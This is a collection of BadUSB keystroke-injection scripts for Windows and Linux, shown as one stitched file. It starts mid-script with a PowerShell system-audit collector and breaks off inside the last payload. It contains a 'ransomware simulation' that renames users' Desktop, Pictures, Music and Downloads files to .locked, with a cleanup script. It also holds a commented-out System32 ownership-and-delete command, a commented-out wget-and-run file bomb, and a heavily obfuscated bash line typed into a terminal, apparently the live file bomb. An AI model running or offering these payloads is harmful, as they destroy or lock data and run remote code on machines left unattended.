DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING function check-networksettings {
DELAY 200
ENTER
DELAY 200
STRING try {
DELAY 200
ENTER
DELAY 200
STRING get-netipconfiguration
DELAY 200
ENTER
DELAY 200
STRING } catch {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error checking network settings: $_"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING function check-softwarevulnerabilities {
DELAY 200
ENTER
DELAY 200
STRING try {
DELAY 200
ENTER
DELAY 200
STRING get-itemproperty hklm:\software\wow6432node\microsoft\windows\currentversion\uninstall\* | select-object displayname, displayversion, publisher
DELAY 200
ENTER
DELAY 200
STRING } catch {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error checking software vulnerabilities: $_"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING function check-cve {
DELAY 200
ENTER
DELAY 200
STRING param (
DELAY 200
ENTER
DELAY 200
STRING [string]$productname,
DELAY 200
ENTER
DELAY 200
STRING [string]$version
DELAY 200
ENTER
DELAY 200
STRING )
DELAY 200
ENTER
DELAY 200
STRING $initialDelay = 2
DELAY 200
ENTER
DELAY 200
STRING try {
DELAY 200
ENTER
DELAY 200
STRING $uri = "https://services.nvd.nist.gov/rest/json/cves/1.0?keyword=$productname+$version"
DELAY 200
ENTER
DELAY 200
STRING start-sleep -seconds $initialDelay
DELAY 200
ENTER
DELAY 200
STRING $response = invoke-restmethod -uri $uri -method get
DELAY 200
ENTER
DELAY 200
STRING if ($response.totalresults -gt 0) {
DELAY 200
ENTER
DELAY 200
STRING foreach ($cve in $response.result.cve_items) {
DELAY 200
ENTER
DELAY 200
STRING "$($cve.cve.cve_data_meta.id) - $($cve.cve.description.description_data[0].value)"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING } else {
DELAY 200
ENTER
DELAY 200
STRING "no cves found for $productname $version"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING } catch {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error checking CVEs: $_"
DELAY 200
ENTER
DELAY 200
STRING if ($_.Exception -match '403') {
DELAY 200
ENTER
DELAY 200
STRING write-output "403 Forbidden error encountered. Retrying in 60 seconds..."
DELAY 200
ENTER
DELAY 200
STRING start-sleep -seconds 60
DELAY 200
ENTER
DELAY 200
STRING $retryResponse = invoke-restmethod -uri $uri -method get
DELAY 200
ENTER
DELAY 200
STRING if ($retryResponse.totalresults -gt 0) {
DELAY 200
ENTER
DELAY 200
STRING foreach ($cve in $retryResponse.result.cve_items) {
DELAY 200
ENTER
DELAY 200
STRING "$($cve.cve.cve_data_meta.id) - $($cve.cve.description.description_data[0].value)"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING } else {
DELAY 200
ENTER
DELAY 200
STRING "no cves found for $productname $version"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING function analyze-logs {
DELAY 200
ENTER
DELAY 200
STRING try {
DELAY 200
ENTER
DELAY 200
STRING get-eventlog -logname system -newest 100
DELAY 200
ENTER
DELAY 200
STRING } catch {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error analyzing logs: $_"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING function check-openports {
DELAY 200
ENTER
DELAY 200
STRING try {
DELAY 200
ENTER
DELAY 200
STRING netstat -an
DELAY 200
ENTER
DELAY 200
STRING } catch {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error checking open ports: $_"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING function check-missingupdates {
DELAY 200
ENTER
DELAY 200
STRING try {
DELAY 200
ENTER
DELAY 200
STRING write-output "Checking Windows Update logs..."
DELAY 200
ENTER
DELAY 200
STRING $updateLogPath = Join-Path -Path $directoryPath -ChildPath "WindowsUpdate.log"
DELAY 200
ENTER
DELAY 200
STRING Get-WindowsUpdateLog -LogPath $updateLogPath
DELAY 200
ENTER
DELAY 200
STRING write-output "WindowsUpdate.log written to $updateLogPath"
DELAY 200
ENTER
DELAY 200
STRING Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Temp\WindowsUpdateLog\*" -Recurse -Force
DELAY 200
ENTER
DELAY 200
STRING } catch {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error getting Windows Update log: $_"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING function check-firewallstatus {
DELAY 200
ENTER
DELAY 200
STRING try {
DELAY 200
ENTER
DELAY 200
STRING netsh advfirewall show allprofiles
DELAY 200
ENTER
DELAY 200
STRING } catch {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error checking firewall status: $_"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING function check-smbv1status {
DELAY 200
ENTER
DELAY 200
STRING try {
DELAY 200
ENTER
DELAY 200
STRING get-windowsoptionalfeature -online -featurename smb1protocol
DELAY 200
ENTER
DELAY 200
STRING } catch {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error checking SMBv1 status: $_"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING function check-antivirusstatus {
DELAY 200
ENTER
DELAY 200
STRING try {
DELAY 200
ENTER
DELAY 200
STRING get-mpcomputerstatus
DELAY 200
ENTER
DELAY 200
STRING } catch {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error checking antivirus status: $_"
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING check-passwordpolicy >> $resultsFilePath
DELAY 200
ENTER
DELAY 200
STRING audit-services >> $resultsFilePath
DELAY 200
ENTER
DELAY 200
STRING check-networksettings >> $resultsFilePath
DELAY 200
ENTER
DELAY 200
STRING check-softwarevulnerabilities >> $resultsFilePath
DELAY 200
ENTER
DELAY 200
STRING analyze-logs >> $resultsFilePath
DELAY 200
ENTER
DELAY 200
STRING check-openports >> $resultsFilePath
DELAY 200
ENTER
DELAY 200
STRING check-missingupdates >> $resultsFilePath
DELAY 200
ENTER
DELAY 200
STRING check-firewallstatus >> $resultsFilePath
DELAY 200
ENTER
DELAY 200
STRING check-smbv1status >> $resultsFilePath
DELAY 200
ENTER
DELAY 200
STRING check-antivirusstatus >> $resultsFilePath
DELAY 200
ENTER
DELAY 200
REM Dynamically identify critical software from running processes and scheduled tasks
STRING $runningSoftware = Get-Process | Select-Object Name | Sort-Object Name -Unique
DELAY 200
ENTER
DELAY 200
STRING $scheduledTasks = schtasks /query /fo CSV | ConvertFrom-Csv | Select-Object TaskName, TaskToRun | Sort-Object TaskToRun -Unique
DELAY 200
ENTER
DELAY 200
REM Combine running software and scheduled tasks
STRING $softwareList = @()
DELAY 200
ENTER
DELAY 200
STRING foreach ($process in $runningSoftware) {
DELAY 200
ENTER
DELAY 200
STRING $softwareList += $process.Name
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING foreach ($task in $scheduledTasks) {
DELAY 200
ENTER
DELAY 200
STRING $softwareList += [System.IO.Path]::GetFileNameWithoutExtension($task.TaskToRun)
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
REM Remove duplicates and empty entries
STRING $softwareList = $softwareList | Sort-Object -Unique | Where-Object { $_ -ne "" }
DELAY 200
ENTER
DELAY 200
REM Check CVEs for identified software
STRING foreach ($software in $softwareList) {
DELAY 200
ENTER
DELAY 200
STRING $version = (Get-ItemProperty hklm:\software\wow6432node\microsoft\windows\currentversion\uninstall\* | Where-Object { $_.DisplayName -eq $software }).DisplayVersion
DELAY 200
ENTER
DELAY 200
STRING if ($version) {
DELAY 200
ENTER
DELAY 200
STRING check-cve -productname $software -version $version >> $resultsFilePath
DELAY 200
ENTER
DELAY 200
STRING $initialDelay += (Get-Random -Minimum 5 -Maximum 10)
DELAY 200
ENTER
DELAY 200
STRING start-sleep -seconds $initialDelay
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING write-output "Results saved to USB drive."
DELAY 200
ENTER
DELAY 200
STRING } else {
DELAY 200
ENTER
DELAY 200
STRING write-output "Error: USB drive MYUSB not found."
DELAY 200
ENTER
DELAY 200
STRING }
DELAY 200
ENTER
DELAY 200
STRING invoke-command -scriptblock $script
DELAY 200
ENTER
DELAY 20000
REM check out github.com/markcyber for more badusb/pen testing scripts and tools
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
REM %%%%%%%%%%%%% This script was created by github.com/MarkCyber %%%%%%%%%%%%%%
REM %%%%%%%%%%%%% This script simulates a ransomware attack by changing file extensions and displays a message %%%%%%%%%%%%%%
REM %%%%%%%%%%%%% Renaming file extensions renders each file unusable until the proper extension is added %%%%%%%%%%%%%%
REM %%%%%%%%%%%%% Run (1.1)RansomwareSimulationCleanup to revert the changes and renaming of extensions %%%%%%%%%%%%%%
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DELAY 1000
GUI r
DELAY 1000
REM opens powershell (this is for windows machines)
STRING powershell
ENTER
DELAY 3000
REM Define the locations using correct SpecialFolder enumerations
STRING $folders = @(
DELAY 500
ENTER
DELAY 500
STRING [System.Environment+SpecialFolder]::Desktop,
DELAY 500
ENTER
DELAY 500
STRING [System.Environment+SpecialFolder]::MyPictures,
DELAY 500
ENTER
DELAY 500
STRING [System.Environment+SpecialFolder]::MyMusic,
DELAY 500
ENTER
DELAY 500
STRING [System.Environment+SpecialFolder]::Downloads
DELAY 500
ENTER
DELAY 500
STRING )
DELAY 500
ENTER
DELAY 500
REM Iterate over each location
STRING foreach ($folder in $folders) {
DELAY 500
ENTER
DELAY 500
STRING $path = [Environment]::GetFolderPath($folder)
DELAY 500
ENTER
DELAY 500
REM Get all files in the path and rename them
STRING Get-ChildItem -Path $path -File | ForEach-Object { Rename-Item -Path $_.FullName -NewName ($_.Name + '.locked') }
DELAY 500
ENTER
DELAY 500
STRING }
DELAY 500
ENTER
DELAY 2000
REM Display ransomware message
STRING Add-Type -AssemblyName PresentationFramework
DELAY 500
ENTER
DELAY 500
STRING $Window = New-Object System.Windows.Window
DELAY 500
ENTER
DELAY 500
STRING $Window.WindowStartupLocation = 'CenterScreen'
DELAY 500
ENTER
DELAY 500
STRING $Window.WindowState = 'Maximized'
DELAY 500
ENTER
DELAY 500
STRING $Window.Topmost = $true
DELAY 500
ENTER
DELAY 500
STRING $Window.Content = 'Your files have been encrypted. This is a simulation. Please contact your IT support team.'
DELAY 500
ENTER
DELAY 500
STRING $Window.ShowDialog()
DELAY 500
ENTER
DELAY 2000
STRING exit
DELAY 500
ENTER
REM check out my github at github.com/markcyber for more badusb & hacking type tools
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
REM %%%%%%%%%%%%% This script was created by github.com/MarkCyber %%%%%%%%%%%%%%
REM %%%%%%%%%%%%% This is a follow-up script to the RansomwareSimulation %%%%%%%%%%%%%%
REM %%%%%%%%%%%%% Running this renames all extensions back to their original, full path- making them usable %%%%%%%%%%%%%%
REM %%%%%%%%%%%%% This can be ran multiple times if necessary %%%%%%%%%%%%%%
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DELAY 1000
GUI r
DELAY 2000
STRING powershell
ENTER
REM increased delays to make sure each command can go through even on slower computers
DELAY 6000
REM Define the locations using correct SpecialFolder enumerations
STRING $folders = @(
DELAY 1000
ENTER
DELAY 1000
STRING [System.Environment+SpecialFolder]::Desktop,
DELAY 1000
ENTER
DELAY 2000
STRING [System.Environment+SpecialFolder]::MyPictures,
DELAY 1000
ENTER
DELAY 2000
STRING [System.Environment+SpecialFolder]::MyMusic,
DELAY 1000
ENTER
DELAY 2000
STRING [System.Environment+SpecialFolder]::Downloads
DELAY 1000
ENTER
DELAY 2000
STRING )
DELAY 1000
ENTER
DELAY 3000
REM Iterate over each location
STRING foreach ($folder in $folders) {
DELAY 1000
ENTER
DELAY 1000
STRING $path = [Environment]::GetFolderPath($folder)
DELAY 1000
ENTER
DELAY 4000
REM Get all .locked files in the path and rename them back
STRING Get-ChildItem -Path $path -File | Where-Object { $_.Name.EndsWith('.locked') } | ForEach-Object { Rename-Item -Path $_.FullName -NewName ($_.Name -replace '\.locked$', '') }
DELAY 2000
ENTER
DELAY 5000
STRING }
DELAY 1000
ENTER
DELAY 4000
STRING exit
DELAY 1000
ENTER
REM Check out github.com/MarkCyber for more badusb scripts, malware and pen testing stuff
REM Title:32 wants the D
REM Author: FalsePhilosopher
REM Target: Win, tested on 10
REM Props: Hak5, my friends and memes
REM Version: 1.0
REM Category: Prank
REM D as in DELETE! Deletes System32. I wrote the draft with my friend as an educational lesson to show them just how easy it is to write ducky, I then combed through MS doc's on those 3 commands to refine them and tested later for this.
REM
REM THIS WILL DELETE THINGS AND MAKE COMPUTER UNHAPPY
REM Uncomment out the string below to arm the script.
REM Also... don't be a dick to n00bs. =)
REM For educational/sysadmin purposes, as a reminder destruction of property IS A CRIME!
REM As always just follow the golden rule "DON"T BE A DICK!"
REM
DELAY 500
GUI r
DELAY 500
STRING cmd
CTRL-SHIFT ENTER
DELAY 2000
ALT y
DELAY 1500
REM STRING takeown /f * /r /a /d y && icacls * /inheritance:r /grant:r administrators:(F) /t & del /f /q *
ENTER
REM Title: File Bomb Tux style
REM Author: FalsePhilosopher
REM Target: Unix-like tested on kubuntu 22.04.
REM Props: Hak5, PauloVicente89 for the py script I modified for linux and memes
REM Version: 1.0
REM Category: Prank
REM Launches a terminal, background wgets the py script and runs it.
REM
DELAY 300
REM Minimize all windows as that ensures launch happens smoother.
WINDOWS d
DELAY 300
CTRL-ALT t
DELAY 2000
REM STRING nohup wget https://github.com/FalsePhilosopher/BadUSB-Playground/raw/main/Ducky/USBRubberducky/library/prank/Unix-like/Linux/Bombs/File_bomb/PLTUX.py 2>/dev/null && python3 PLTUX.py 2>/dev/null & disown
ENTER
DELAY 500
ALT F4
REM Title: File Bomb BF Tux style
REM Author: FalsePhilosopher
REM Target: Unix-like tested on kubuntu 22.04.
REM Props: Hak5, PauloVicente89 for the py script I modified for linux and memes
REM Version: 1.0
REM Category: Prank
REM Launches a terminal, background wgets the py script and runs it. Bashfucked version.
REM
DELAY 300
REM Minimize all windows as that ensures launch happens smoother.
WINDOWS d
DELAY 300
CTRL-ALT t
DELAY 2000
STRING bash<<<{$\'\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$#\',$\'\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\',$\'\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$#\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$#\\$#$((${##}<<$((${##}<<${##}))))$#\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\$#$((${##}<<$((${##}<<${##}))))$#\\${##}$(($((${##}<<${##}))#${##}$#${##}))$#\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\$#$(($((${##}<<${##}))#${##}${##}${##}))$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$#\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$#$(($((${##}<<${##}))#${##}${##}$#))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<${##}))$#\\${##}$(($((${##}<<${##}))#${##}$#${##}))$#\\${##}$(($((${##}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$(($((${##}<<${##}))#${##}$#${##}))$#\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$#$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<${##}))$(($((${##}<<${##}))#${##}${##}))\\${##}$#$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<${##}))$#\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}${##}${##}))${##}\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<$((${##}<<${##}))))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$#$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${##}))${##}\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<${##}))$(($((${##}<<${##}))#${##}${##}))\\${##}$#$((${##}<<${##}))\\${##}$((${##}<<${##}))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${##}))${##}\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}$#${##}))${##}\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${##}))${##}\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\${##}$((${##}<<$((${##}<<${##}))))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}${##}${##}))$#\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}$#${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}${##}$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${##}))$#\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$#$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$#$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}$#${##}))${##}\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$((${##}<<$((${##}<<${##}))))$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<${##}))$#\\${##}${##}$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<${##}))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}${##}))$#\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}$#))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$#\\${##}$(($((${##}<<${##}))#${##}${##}${##}))${##}\\$#$((${##}<<$((${##}<<${##}))))$#\\$#$(($((${##}<<${##}))#${##}${##}$#))$((${##}<<${##}))\\$#$(($((${##}<<${##}))#${##}${##}${##}))$(($((${##}<<${##}))#${##}${##}$#))\\$#$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$((${##}<<$((${##}<